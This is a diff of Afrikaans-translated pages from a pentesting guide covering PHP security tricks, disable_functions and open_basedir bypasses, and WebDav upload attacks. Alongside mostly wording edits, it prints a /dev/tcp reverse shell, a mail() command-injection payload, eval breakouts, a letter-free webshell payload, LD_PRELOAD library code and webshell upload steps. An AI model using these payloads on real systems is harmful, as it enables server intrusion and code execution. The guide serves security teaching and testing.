- **register_globals**: In **PHP < 4.1.1.1** of as verkeerd geconfigureer, kan **register_globals** aktief wees (of hul gedrag word nagebootst). Dit impliseer dat in globale veranderlikes soos $\_GET as hulle 'n waarde het bv. $\_GET\["param"]="1234", kan jy dit toegang via **$param. Daarom, deur HTTP parameters te stuur kan jy veranderlikes oorskryf** wat binne die kode gebruik word.
- Die **PHPSESSION koekies van dieselfde domein word op dieselfde plek gestoor**, daarom as daar binne 'n domein **verskillende koekies in verskillende paaie gebruik word** kan jy maak dat 'n pad **die koekie van die pad** toegang deur die waarde van die ander pad koekie te stel.\
Op hierdie manier, as **albei paaie toegang het tot 'n veranderlike met dieselfde naam** kan jy maak dat die **waarde van daardie veranderlike in pad1 van toepassing is op pad2**. En dan sal pad2 die veranderlikes van pad1 as geldig neem (deur die koekie die naam te gee wat ooreenstem met dit in pad2).
- Wanneer jy die **gebruikersname** van die gebruikers van die masjien het. Kontroleer die adres: **/\~\<USERNAME>** om te sien of die php directories geaktiveer is.
- As 'n php konfig **`register_argc_argv = On`** het, dan word query params geskei deur spasies gebruik om die array van argumente **`array_keys($_SERVER['argv'])`** te vul soos asof dit **argumente van die CLI** was. Dit is interessant omdat as daardie **instelling af is**, die waarde van die **args array sal `Null` wees** wanneer dit vanaf die web aangeroep word aangesien die ars arry nie gevul sal wees nie. Daarom, as 'n webblad probeer om te kontroleer of dit as 'n web of as 'n CLI tool loop met 'n vergelyking soos `if (empty($_SERVER['argv'])) {` kan 'n aanvaller **parameters in die GET versoek soos `?--configPath=/lalala`** stuur en dit sal dink dit loop as CLI en potensieel daardie argumente ontleed en gebruik. Meer info in die [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
- As 'n php konfigurasie **`register_argc_argv = On`** het, dan word query params geskei deur spasies gebruik om die array van argumente **`array_keys($_SERVER['argv'])`** te vul soos asof dit **argumente van die CLI** was. Dit is interessant omdat as daardie **instelling af is**, die waarde van die **args array sal `Null` wees** wanneer dit van die web aangeroep word, aangesien die ars array nie gevul sal wees nie. Daarom, as 'n webblad probeer om te kontroleer of dit as 'n web of as 'n CLI hulpmiddel loop met 'n vergelyking soos `if (empty($_SERVER['argv'])) {` kan 'n aanvaller **parameters in die GET versoek soos `?--configPath=/lalala` stuur** en dit sal dink dit loop as CLI en potensieel daardie argumente ontleed en gebruik. Meer info in die [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
- [**LFI en RCE met php wrappers**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
@ -175,7 +175,7 @@ True
#### Fout veroorsaak na instel van headers
Van [**hierdie twitter draad**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) kan jy sien dat die sending van meer as 1000 GET params of 1000 POST params of 20 lêers, PHP nie headers in die antwoord gaan instel nie.
Van [**hierdie twitter draad**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) kan jy sien dat wanneer meer as 1000 GET params of 1000 POST params of 20 lêers gestuur word, PHP nie headers in die antwoord gaan instel nie.
Dit laat toe om byvoorbeeld CSP headers te omseil wat in kodes soos:
```php
@ -185,8 +185,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### Vul 'n liggaam in voordat jy koptekste stel
As 'n **PHP-bladsy foute druk en sommige invoer wat deur die gebruiker verskaf is, teruggee**, kan die gebruiker die PHP-bediener dwing om 'n **inhoud wat lank genoeg is** te druk sodat wanneer dit probeer om die **koptekste** in die antwoord by te voeg, die bediener 'n fout sal gooi.\
In die volgende scenario het die **aanvaller die bediener gedwing om groot foute te gooi**, en soos jy in die skerm kan sien, toe php probeer het om die **kopinligting te wysig, kon dit nie** (soos byvoorbeeld die CSP-kop nie aan die gebruiker gestuur is nie):
As 'n **PHP-bladsy foute druk en terugvoer gee van insette wat deur die gebruiker verskaf is**, kan die gebruiker die PHP-bediener laat terugdruk van **inhoud wat lank genoeg is** sodat wanneer dit probeer om die **koptekste** in die antwoord by te voeg, die bediener 'n fout sal gooi.\
In die volgende scenario het die **aanvaller die bediener laat 'n paar groot foute gooi**, en soos jy in die skerm kan sien, toe php probeer het om die **kopinligting te wysig, kon dit nie** (soos byvoorbeeld die CSP-kop nie aan die gebruiker gestuur is nie):
![](<../../../images/image (1085).png>)
@ -229,7 +229,7 @@ Hierdie funksie binne php laat jou toe om **kode wat in 'n string geskryf is uit
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
U sal die **kode** **syntaksis** moet **breek**, u **payload** moet **byvoeg** en dit dan weer **regmaak**. U kan **logika-operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie omdat as die eerste voorwaarde waar is, ons payload nie uitgevoer sal word nie. Dieselfde geld ";" werk nie omdat ons payload nie uitgevoer sal word nie.
U sal die **kode** **syntaksis** moet **breek**, u **payload** **byvoeg**, en dit dan **weer regmaak**. U kan **logiese operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie, want as die eerste voorwaarde waar is, sal ons payload nie uitgevoer word nie. Dieselfde geld; ";" werk nie, want ons payload sal nie uitgevoer word nie.
**Ander opsie** is om die uitvoering van die opdrag aan die string toe te voeg: `'.highlight_file('.passwd').'`
@ -268,19 +268,19 @@ Om die aantal hakies wat u moet sluit te ontdek:
### **RCE via .httaccess**
As u 'n **.htaccess** kan **oplaai**, kan u verskeie dinge **konfigureer** en selfs kode uitvoer (om te konfigureer dat lêers met die uitbreiding .htaccess kan **uitgevoer** word).
As u **'n .htaccess kan oplaai**, kan u verskeie dinge **konfigureer** en selfs kode uitvoer (om te konfigureer dat lêers met die uitbreiding .htaccess **uitgevoer** kan word).
Verskillende .htaccess shells kan [hier](https://github.com/wireghoul/htshells) gevind word.
### RCE via Env Variabeles
As u 'n kwesbaarheid vind wat u toelaat om **omgewingsvariabeles in PHP** te **wysig** (en nog een om lêers op te laai, alhoewel met meer navorsing kan dit miskien omseil word), kan u hierdie gedrag misbruik om **RCE** te verkry.
As u 'n kwesbaarheid vind wat u toelaat om **omgewingsvariabeles in PHP te wysig** (en nog een om lêers op te laai, alhoewel met meer navorsing kan dit miskien omseil word), kan u hierdie gedrag misbruik om **RCE** te verkry.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hierdie omgewingsvariabele laat u toe om arbitrêre biblioteke te laai wanneer u ander binêre uitvoer (alhoewel dit in hierdie geval dalk nie sal werk nie).
- **`PHPRC`** : Gee PHP instruksies oor **waar om sy konfigurasielêer te vind**, wat gewoonlik `php.ini` genoem word. As u u eie konfigurasielêer kan oplaai, gebruik dan `PHPRC` om PHP daarop te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP kode, wat dan** deur die PHP runtime uitgevoer word voordat enige ander kode.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hierdie omgewingsvariabele laat u toe om arbitrêre biblioteke te laai wanneer u ander binaire uitvoer (alhoewel dit in hierdie geval dalk nie werk nie).
- **`PHPRC`** : Gee PHP instruksies oor **waar om sy konfigurasielêer te vind**, wat gewoonlik `php.ini` genoem word. As u u eie konfigurasielêer kan oplaai, gebruik dan `PHPRC` om PHP daarop te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP kode, wat dan** deur die PHP-runtime uitgevoer word voordat enige ander kode.
1. Laai 'n PHP-lêer op wat ons shellcode bevat.
2. Laai 'n tweede lêer op, wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP voorverwerker instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer.
3. Stel die `PHPRC` variabele in op die lêer wat ons in stap 2 opgelaai het.
2. Laai 'n tweede lêer op, wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP-voorverwerker instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer.
3. Stel die `PHPRC`-variabele in op die lêer wat ons in stap 2 opgelaai het.
- Kry meer inligting oor hoe om hierdie ketting uit te voer [**uit die oorspronklike verslag**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
- **PHPRC** - 'n ander opsie.
- As u **nie lêers kan oplaai nie**, kan u in FreeBSD die "lêer" `/dev/fd/0` gebruik wat die **`stdin`** bevat, wat die **liggaam** van die versoek is wat na die `stdin` gestuur is:
@ -325,7 +325,7 @@ exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
As jy 'n PHP-toepassing debugeer, kan jy globaal foutdrukking inskakel in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en apache te herbegin: `sudo systemctl restart apache2`
As jy 'n PHP-toepassing debugeer, kan jy globaal foutdrukking aktief maak in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en apache te herbegin: `sudo systemctl restart apache2`
### Deobfuskerende PHP-kode
@ -335,7 +335,7 @@ Jy kan die **web**[ **www.unphp.net**](http://www.unphp.net) **gebruik om php-ko
PHP Wrappers en protokolle kan jou toelaat om **skrywe en lees beskermings** in 'n stelsel te omseil en dit te kompromitteer. Vir [**meer inligting, kyk na hierdie bladsy**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug ongeverifieerde RCE
## Xdebug nie-geauthentiseerde RCE
As jy sien dat **Xdebug** **geaktiveer** is in 'n `phpconfig()` uitvoer, moet jy probeer om RCE te verkry via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
@ -353,7 +353,7 @@ echo "$x ${Da}"; //Da Drums
```
## RCE wat nuwe $\_GET\["a"]\($\_GET\["b") misbruik
As jy op 'n bladsy **n nuwe objek van 'n arbitrêre klas** kan **skep**, mag jy in staat wees om RCE te verkry, kyk na die volgende bladsy om te leer hoe:
As jy op 'n bladsy **'n nuwe objek van 'n arbitrêre klas kan skep**, mag jy in staat wees om RCE te verkry, kyk na die volgende bladsy om te leer hoe:
{{#ref}}
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
@ -383,14 +383,14 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
So, as jy kan **arbitraire PHP uitvoer sonder nommers en letters** kan jy 'n versoek stuur soos die volgende wat daardie payload misbruik om arbitraire PHP uit te voer:
So, as jy **arbitraire PHP kan uitvoer sonder nommers en letters** kan jy 'n versoek soos die volgende stuur wat daardie payload misbruik om arbitraire PHP uit te voer:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
Vir 'n meer diepgaande verduideliking, kyk [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match)
Vir 'n meer diepgaande verduideliking, kyk na [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match)
### XOR Shellcode (binne eval)
```bash

View File

@ -12,23 +12,23 @@
```bash
echo exec("uname -a");
```
**passthru** - Gee die opdragte se uitvoer direk aan die blaaier deur
**passthru** - Stuur die opdragte se uitvoer direk na die blaaier
```bash
echo passthru("uname -a");
```
**stelsel** - Gee die opdragte se uitvoer direk aan die blaaiert en keer die laaste lyn terug
**stelsel** - Stuur opdragte se uitvoer direk na die blaaier en gee die laaste lyn terug
```bash
echo system("uname -a");
```
**shell_exec** - Gee die opdrag se uitvoer terug
**shell_exec** - Gee die opdragte se uitvoer terug
```bash
echo shell_exec("uname -a");
```
\`\` (backticks) - Dieselfde as shell_exec()
\`\` (backticks) - Dies is diesde as shell_exec()
```bash
echo `uname -a`
```
**popen** - Maak 'n lees- of skryfpyp na 'n proses van 'n opdrag oop
**popen** - Maak 'n lees- of skryfpyp na die proses van 'n opdrag oop
```bash
echo fread(popen("/bin/ls /", "r"), 4096);
```
@ -44,7 +44,7 @@ proc_close(proc_open("uname -a",array(),$something));
```bash
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
```
**mail / mb_send_mail** - Hierdie funksie word gebruik om e-posse te stuur, maar dit kan ook misbruik word om arbitrêre opdragte binne die `$options` parameter in te spuit. Dit is omdat die **php `mail` funksie** gewoonlik die `sendmail` binêre binne die stelsel aanroep en dit jou toelaat om **bykomende opsies** in te voeg. Jy sal egter nie die uitvoer van die uitgevoerde opdrag kan sien nie, so dit word aanbeveel om 'n shell-skrip te skep wat die uitvoer na 'n lêer skryf, dit met mail uit te voer, en die uitvoer te druk:
**mail / mb_send_mail** - Hierdie funksie word gebruik om e-posse te stuur, maar dit kan ook misbruik word om arbitrêre opdragte binne die `$options` parameter in te spuit. Dit is omdat die **php `mail` funksie** gewoonlik die `sendmail` binêre binne die stelsel aanroep en dit jou toelaat om **addisionele opsies** in te voeg. Jy sal egter nie die uitvoer van die uitgevoerde opdrag kan sien nie, so dit word aanbeveel om 'n shell-skrip te skep wat die uitvoer na 'n lêer skryf, dit met mail uit te voer, en die uitvoer te druk:
```bash
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
```
@ -108,19 +108,19 @@ echo "{$f}<br/>";
}
```
**Nota1**: In die pad kan jy ook `/e??/*` gebruik om `/etc/*` en enige ander gids te lys.\
**Nota2**: Dit lyk of 'n deel van die kode gedupliseer is, maar dit is eintlik nodig!\
**Nota2**: Dit lyk asof 'n deel van die kode gedupliseer is, maar dit is eintlik nodig!\
**Nota3**: Hierdie voorbeeld is slegs nuttig om gidse te lys, nie om lêers te lees nie.
### Volledige open_basedir omseiling deur FastCGI
### Volledige open_basedir omseiling deur FastCGI te misbruik
As jy **meer oor PHP-FPM en FastCGI wil leer** kan jy die [eerste afdeling van hierdie bladsy](disable_functions-bypass-php-fpm-fastcgi.md) lees.\
As jy **meer oor PHP-FPM en FastCGI wil leer** kan jy die [eerste gedeelte van hierdie bladsy](disable_functions-bypass-php-fpm-fastcgi.md) lees.\
As **`php-fpm`** geconfigureer is, kan jy dit misbruik om **open_basedir** heeltemal te omseil:
![](<../../../../images/image (545).png>)
![](<../../../../images/image (577).png>)
Let daarop dat die eerste ding wat jy moet doen is om te vind waar die **unix socket van php-fpm** is. Dit is gewoonlik onder `/var/run`, so jy kan **die vorige kode gebruik om die gids te lys en dit te vind**.\
Let daarop dat die eerste ding wat jy moet doen is om te vind waar die **unix socket van php-fpm** is. Dit was gewoonlik onder `/var/run`, so jy kan **die vorige kode gebruik om die gids te lys en dit te vind**.\
Kode van [hier](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy).
```php
<?php
@ -478,24 +478,24 @@ Let ook op die **gekommenteerde lyn 324**, jy kan dit ontkommentarieer en die **
Toegang net tot `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` om die inhoud van die `/etc/passwd` lêer te kry.
> [!WARNING]
> Jy mag dalk dink dat net soos ons die `open_basedir` konfigurasie oorgeskryf het, ons ook **`disable_functions`** kan **oorgeskryf**. Wel, probeer dit, maar dit sal nie werk nie, blykbaar kan **`disable_functions` slegs in 'n `.ini` php** konfigurasielêer gekonfigureer word en die veranderinge wat jy met PHP_VALUE maak, sal nie effektief wees op hierdie spesifieke instelling nie.
> Jy mag dalk dink dat net soos ons die `open_basedir` konfigurasie oorgeskryf het, ons ook **`disable_functions`** kan **oorgeskryf**. Wel, probeer dit, maar dit sal nie werk nie, blykbaar kan **`disable_functions` slegs in 'n `.ini` php** konfigurasie lêer geconfigureer word en die veranderinge wat jy met PHP_VALUE maak, sal nie effektief wees op hierdie spesifieke instelling nie.
## disable_functions Bypass
As jy daarin slaag om PHP kode binne 'n masjien uit te voer, wil jy waarskynlik na die volgende vlak gaan en **arbitrêre stelselinstruksies uitvoer**. In hierdie situasie is dit gewoonlik om te ontdek dat die meeste of al die PHP **funksies** wat toelaat om **stelselinstruksies uit te voer, gedeaktiveer is** in **`disable_functions`.**\
As jy daarin slaag om PHP kode binne 'n masjien uit te voer, wil jy waarskynlik na die volgende vlak gaan en **arbitrêre stelselskommando's uitvoer**. In hierdie situasie is dit gewoonlik om te ontdek dat die meeste of al die PHP **funksies** wat toelaat om **stelselskommando's uit te voer, gedeaktiveer is** in **`disable_functions`.**\
Kom ons kyk hoe jy hierdie beperking kan omseil (as jy kan).
### Outomatiese omseiling ontdekking
Jy kan die hulpmiddel [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) gebruik en dit sal jou aandui watter funksie (indien enige) jy kan gebruik om **`disable_functions`** te **omseil**.
Jy kan die hulpmiddel [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) gebruik en dit sal jou aandui watter funksie (indien enige) jy kan gebruik om **te omseil** **`disable_functions`**.
### Omseiling met ander stelselfunksies
### Omseiling met ander stelselsfunksies
Keer net terug na die begin van hierdie bladsy en **kyk of enige van die funksies wat opdragte uitvoer nie gedeaktiveer is en beskikbaar is in die omgewing nie**. As jy net 1 van hulle vind, sal jy dit kan gebruik om arbitrêre stelselinstruksies uit te voer.
Keer net terug na die begin van hierdie bladsy en **kyk of enige van die kommando-uitvoerende funksies nie gedeaktiveer en beskikbaar in die omgewing is nie**. As jy net 1 van hulle vind, sal jy dit kan gebruik om arbitrêre stelselskommando's uit te voer.
### LD_PRELOAD omseiling
Dit is goed bekend dat sommige funksies in PHP soos `mail()` gaan **binaries binne die stelsel uitvoer**. Daarom kan jy hulle misbruik deur die omgewing veranderlike `LD_PRELOAD` te gebruik om hulle 'n arbitrêre biblioteek te laat laai wat enigiets kan uitvoer.
Dit is goed bekend dat sommige funksies in PHP soos `mail()` gaan **binaries binne die stelsel uitvoer**. Daarom kan jy hulle misbruik deur die omgewingsvariabele `LD_PRELOAD` te gebruik om hulle 'n arbitrêre biblioteek te laat laai wat enigiets kan uitvoer.
#### Funksies wat gebruik kan word om disable_functions met LD_PRELOAD te omseil
@ -503,12 +503,12 @@ Dit is goed bekend dat sommige funksies in PHP soos `mail()` gaan **binaries bin
- **`mb_send_mail`**: Effektief wanneer die `php-mbstring` module geïnstalleer is.
- **`imap_mail`**: Werk as die `php-imap` module teenwoordig is.
- **`libvirt_connect`**: Vereis die `php-libvirt-php` module.
- **`gnupg_init`**: Gebruikbaar met die `php-gnupg` module geïnstalleer.
- **`gnupg_init`**: Bruikbaar met die `php-gnupg` module geïnstalleer.
- **`new imagick()`**: Hierdie klas kan misbruik word om beperkings te omseil. Gedetailleerde uitbuitings tegnieke kan gevind word in 'n omvattende [**skrywe hier**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/).
Jy kan [**hier vind**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) die fuzzing skrip wat gebruik is om daardie funksies te vind.
Hier is 'n biblioteek wat jy kan saamstel om die `LD_PRELOAD` omgewing veranderlike te misbruik:
Hier is 'n biblioteek wat jy kan saamstel om die `LD_PRELOAD` omgewingsvariabele te misbruik:
```php
#include <unistd.h>
#include <sys/types.h>
@ -523,11 +523,11 @@ return 1;
```
#### Bypass using Chankro
Om hierdie miskonfigurasie te misbruik, kan jy [**Chankro**](https://github.com/TarlogicSecurity/Chankro) gebruik. Dit is 'n hulpmiddel wat 'n **PHP exploit** sal genereer wat jy na die kwesbare bediener moet oplaai en uitvoer (toegang dit via web).\
**Chankro** sal binne die slagoffer se skyf die **biblioteek en die omgekeerde skulp** wat jy wil uitvoer, skryf en die\*\*`LD_PRELOAD` truuk + PHP `mail()`\*\* funksie gebruik om die omgekeerde skulp uit te voer.
Om hierdie miskonfigurasie te misbruik, kan jy [**Chankro**](https://github.com/TarlogicSecurity/Chankro) gebruik. Dit is 'n hulpmiddel wat 'n **PHP exploit** sal **genereer** wat jy na die kwesbare bediener moet oplaai en uitvoer (toegang dit via web).\
**Chankro** sal binne die slagoffer se skyf die **biblioteek en die omgekeerde skulp** wat jy wil uitvoer, skryf en sal die **`LD_PRELOAD` truuk + PHP `mail()`** funksie gebruik om die omgekeerde skulp uit te voer.
Let daarop dat om **Chankro** te gebruik, `mail` en `putenv` **nie in die `disable_functions` lys mag verskyn nie**.\
In die volgende voorbeeld kan jy sien hoe om 'n **chankro exploit** te **skep** vir **arch 64**, wat `whoami` sal uitvoer en die uitset in _/tmp/chankro_shell.out_ sal stoor, chankro sal **die biblioteek en die payload** in _/tmp_ skryf en die **finale exploit** gaan **bicho.php** genoem word (dit is die lêer wat jy na die slagoffer se bediener moet oplaai):
Let daarop dat om **Chankro** te gebruik, `mail` en `putenv` **nie in die `disable_functions` lys** mag verskyn nie.\
In die volgende voorbeeld kan jy sien hoe om 'n **chankro exploit** te **skep** vir **arch 64**, wat `whoami` sal uitvoer en die uitset in _/tmp/chankro_shell.out_ sal stoor, chankro sal die **biblioteek en die payload** in _/tmp_ skryf en die **finale exploit** gaan **bicho.php** genoem word (dit is die lêer wat jy na die slagoffer se bediener moet oplaai):
{{#tabs}}
{{#tab name="shell.sh"}}
@ -551,13 +551,13 @@ Meer inligting oor hierdie tegniek en Chankro hier: [https://www.tarlogic.com/en
Let daarop dat jy met **PHP** **lêers kan lees en skryf, directories kan skep en toestemmings kan verander**.\
Jy kan selfs **databasisse dump**.\
Miskien kan jy met **PHP** om die boks te **enumerate** 'n manier vind om voorregte te verhoog/opdragte uit te voer (byvoorbeeld om 'n private ssh-sleutel te lees).
Miskien kan jy met **PHP** die boks **enumerate** en 'n manier vind om voorregte te verhoog/opdragte uit te voer (byvoorbeeld om 'n private ssh-sleutel te lees).
Ek het 'n webshell geskep wat dit baie maklik maak om hierdie aksies uit te voer (let daarop dat die meeste webshells jou ook hierdie opsies sal bied): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited)
### Modules/Weergawe afhanklike bypasses
Daar is verskeie maniere om disable_functions te omseil as 'n spesifieke module gebruik word of om 'n spesifieke PHP weergawe te exploiteer:
Daar is verskeie maniere om disable_functions te omseil as 'n spesifieke module gebruik word of om 'n spesifieke PHP weergawe te benut:
- [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable_functions-bypass-php-fpm-fastcgi.md)
- [**Bypass met FFI - Foreign Function Interface geaktiveer**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md)
@ -565,7 +565,7 @@ Daar is verskeie maniere om disable_functions te omseil as 'n spesifieke module
- [**mod_cgi**](disable_functions-bypass-mod_cgi.md)
- [**PHP Perl Extension Safe_mode**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md)
- [**dl funksie**](disable_functions-bypass-dl-function.md)
- [**Hierdie exploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass)
- [**Hierdie eksploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass)
- 5.\* - exploitable met klein veranderinge aan die PoC
- 7.0 - alle weergawes tot op hede
- 7.1 - alle weergawes tot op hede
@ -573,7 +573,7 @@ Daar is verskeie maniere om disable_functions te omseil as 'n spesifieke module
- 7.3 - alle weergawes tot op hede
- 7.4 - alle weergawes tot op hede
- 8.0 - alle weergawes tot op hede
- [**Van 7.0 tot 8.0 exploit (Unix slegs)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php)
- [**Van 7.0 tot 8.0 eksploit (Unix slegs)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php)
- [**PHP 7.0=7.4 (\*nix)**](disable_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only)
- [**Imagick 3.3.0 PHP >= 5.4**](disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md)
- [**PHP 5.x Shellsock**](disable_functions-php-5.x-shellshock-exploit.md)
@ -581,7 +581,7 @@ Daar is verskeie maniere om disable_functions te omseil as 'n spesifieke module
- [**PHP <= 5.2.9 Windows**](disable_functions-bypass-php-less-than-5.2.9-on-windows.md)
- [**PHP 5.2.4/5.2.5 cURL**](disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md)
- [**PHP 5.2.3 -Win32std**](disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md)
- [**PHP 5.2 FOpen exploit**](disable_functions-bypass-php-5.2-fopen-exploit.md)
- [**PHP 5.2 FOpen eksploit**](disable_functions-bypass-php-5.2-fopen-exploit.md)
- [**PHP 4 >= 4.2.-, PHP 5 pcntl_exec**](disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)
### **Outomatiese Gereedskap**
@ -635,7 +635,7 @@ Hierdie funksies aanvaar 'n string parameter wat gebruik kan word om 'n funksie
```
### Inligtingsontsluiting
Meeste van hierdie funksie-oproepe is nie sinkholes nie. Maar dit kan eerder 'n kwesbaarheid wees as enige van die data wat teruggestuur word, deur 'n aanvaller gesien kan word. As 'n aanvaller phpinfo() kan sien, is dit beslis 'n kwesbaarheid.
Meeste van hierdie funksie-oproepe is nie sinke nie. Maar dit kan eerder 'n kwesbaarheid wees as enige van die data wat teruggestuur word, deur 'n aanvaller gesien kan word. As 'n aanvaller phpinfo() kan sien, is dit beslis 'n kwesbaarheid.
```php
phpinfo
posix_mkfifo
@ -675,11 +675,11 @@ posix_setpgid
posix_setsid
posix_setuid
```
### Lêerstelsel Funksies
### Filesystem Functions
Volgens RATS is alle lêerstelsel funksies in php sleg. Sommige hiervan lyk nie baie nuttig vir die aanvaller nie. Ander is nuttiger as wat jy dalk dink. Byvoorbeeld, as allow_url_fopen=On is, kan 'n url as 'n lêer pad gebruik word, so 'n oproep na copy($\_GET\['s'], $\_GET\['d']); kan gebruik word om 'n PHP-skrip enige plek op die stelsel op te laai. Ook, as 'n webwerf kwesbaar is vir 'n versoek wat via GET gestuur word, kan elkeen van daardie lêerstelsel funksies misbruik word om 'n aanval na 'n ander gasheer deur jou bediener te kan lei.
Volgens RATS is al die filesystem funksies in php sleg. Sommige van hierdie lyk nie baie nuttig vir die aanvaller nie. Ander is nuttiger as wat jy dalk dink. Byvoorbeeld, as allow_url_fopen=On is, kan 'n url as 'n lêer pad gebruik word, so 'n oproep na copy($\_GET\['s'], $\_GET\['d']); kan gebruik word om 'n PHP-skrip enige plek op die stelsel op te laai. Ook, as 'n webwerf kwesbaar is vir 'n versoek wat via GET gestuur word, kan elkeen van daardie filesystem funksies misbruik word om 'n aanval na 'n ander gasheer deur jou bediener te kanaleer.
**Oop lêerstelsel handler**
**Open filesystem handler**
```php
fopen
tmpfile

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
Wanneer jy met 'n **HTTP-server met WebDav** geaktiveer werk, is dit moontlik om **lêers te manipuleer** as jy die regte **akkrediteer** het, wat gewoonlik deur **HTTP Basic Authentication** geverifieer word. Om beheer oor so 'n bediener te verkry, behels dikwels die **oplaai en uitvoering van 'n webshell**.
Wanneer jy met 'n **HTTP-server met WebDav** geaktiveer werk, is dit moontlik om **lêers te manipuleer** as jy die regte **bewyse** het, wat gewoonlik deur **HTTP Basic Authentication** geverifieer word. Om beheer oor so 'n bediener te verkry, behels dikwels die **oplaai en uitvoering van 'n webshell**.
Toegang tot die WebDav-bediener vereis tipies **geldige akkrediteer**, met [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) as 'n algemene metode om dit te verkry.
Toegang tot die WebDav-bediener vereis tipies **geldige bewysstukke**, met [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) as 'n algemene metode om dit te verkry.
Om beperkings op lêeroplaaie te oorkom, veral dié wat die uitvoering van bediener-kant skripte voorkom, kan jy:
- **Laai** lêers met **uitvoerbare uitbreidings** direk op as dit nie beperk is nie.
- **Hernoem** opgelaaide nie-uitvoerbare lêers (soos .txt) na 'n uitvoerbare uitbreiding.
- **Kopieer** opgelaaide nie-uitvoerbare lêers, terwyl jy hul uitbreiding verander na een wat uitvoerbaar is.
- **Kopieer** opgelaaide nie-uitvoerbare lêers, en verander hul uitbreiding na een wat uitvoerbaar is.
## DavTest
@ -21,7 +21,7 @@ davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every
```
![](<../../images/image (851).png>)
Dit beteken nie dat **.txt** en **.html uitbreidings uitgevoer word** nie. Dit beteken dat jy **toegang tot hierdie lêers** kan kry deur die web.
Dit beteken nie dat **.txt** en **.html** uitbreidings uitgevoer word nie. Dit beteken dat jy **toegang tot hierdie lêers** kan kry deur die web.
## Cadaver
@ -39,7 +39,7 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
## IIS5/6 WebDav Kwetsbaarheid
Hierdie kwesbaarheid is baie interessant. Die **WebDav** laat **nie toe** om **lêers** met die uitbreiding **.asp** te **laai** of te **hernoem** nie. Maar jy kan dit **omseil** deur aan die einde van die naam **";.txt"** by te voeg en die lêer sal **uitgevoer** word asof dit 'n .asp-lêer was (jy kan ook **".html" in plaas van ".txt" gebruik**, maar **MOET nie die ";" vergeet nie**).
